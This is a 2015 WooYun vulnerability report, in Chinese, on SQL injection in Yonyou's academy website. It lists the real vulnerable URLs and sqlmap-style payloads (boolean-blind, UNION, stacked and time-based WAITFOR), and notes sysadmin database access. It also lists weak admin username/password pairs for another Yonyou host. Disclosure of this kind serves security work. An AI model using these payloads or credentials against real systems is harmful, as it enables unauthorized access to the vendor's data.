当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0115872

漏洞标题：用友某服务器sql注入

相关厂商：用友软件

漏洞作者： scanf

提交时间：2015-05-25 17:46

修复时间：2015-05-30 17:48

公开时间：2015-05-30 17:48

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：20

漏洞状态：漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-05-25： 细节已通知厂商并且等待厂商处理中
2015-05-30： 厂商已经主动忽略漏洞，细节向公众公开

简要描述：

路过.

详细说明：

http://academy.yonyou.com/Px_plan1.aspx?infoid=109
http://academy.yonyou.com/News_1.aspx?newsid=105
http://academy.yonyou.com/open_Courses.aspx?year=2014

Place: GET
Parameter: infoid
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: infoid=109' AND 3041=3041 AND 'lGkP'='lGkP
    Type: UNION query
    Title: Generic UNION query (NULL) - 13 columns
    Payload: infoid=-8922' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,CHAR(113)+C
HAR(105)+CHAR(110)+CHAR(108)+CHAR(113)+CHAR(111)+CHAR(67)+CHAR(114)+CHAR(89)+CHA
R(88)+CHAR(75)+CHAR(102)+CHAR(103)+CHAR(99)+CHAR(90)+CHAR(113)+CHAR(98)+CHAR(118
)+CHAR(111)+CHAR(113),NULL,NULL,NULL,NULL,NULL,NULL,NULL--
    Type: stacked queries
    Title: Microsoft SQL Server/Sybase stacked queries
    Payload: infoid=109'; WAITFOR DELAY '0:0:5'--
    Type: AND/OR time-based blind
    Title: Microsoft SQL Server/Sybase time-based blind
    Payload: infoid=109' WAITFOR DELAY '0:0:5'--
---

漏洞证明：

QQ截图20150524131955.jpg


QQ截图20150524132248.jpg


sa权限
未深入.
http://learning.yonyou.com/index.php?m=admin
弱口令
fbadmin / fbadmin
ztadmin / ztadmin

QQ截图20150524132458.jpg


修复方案：

过滤求不忽略.

版权声明：转载请注明来源 scanf@乌云

漏洞回应

厂商回应：

危害等级：无影响厂商忽略

忽略时间：2015-05-30 17:48

厂商回复：

漏洞Rank：4 (WooYun评价)

最新状态：

暂无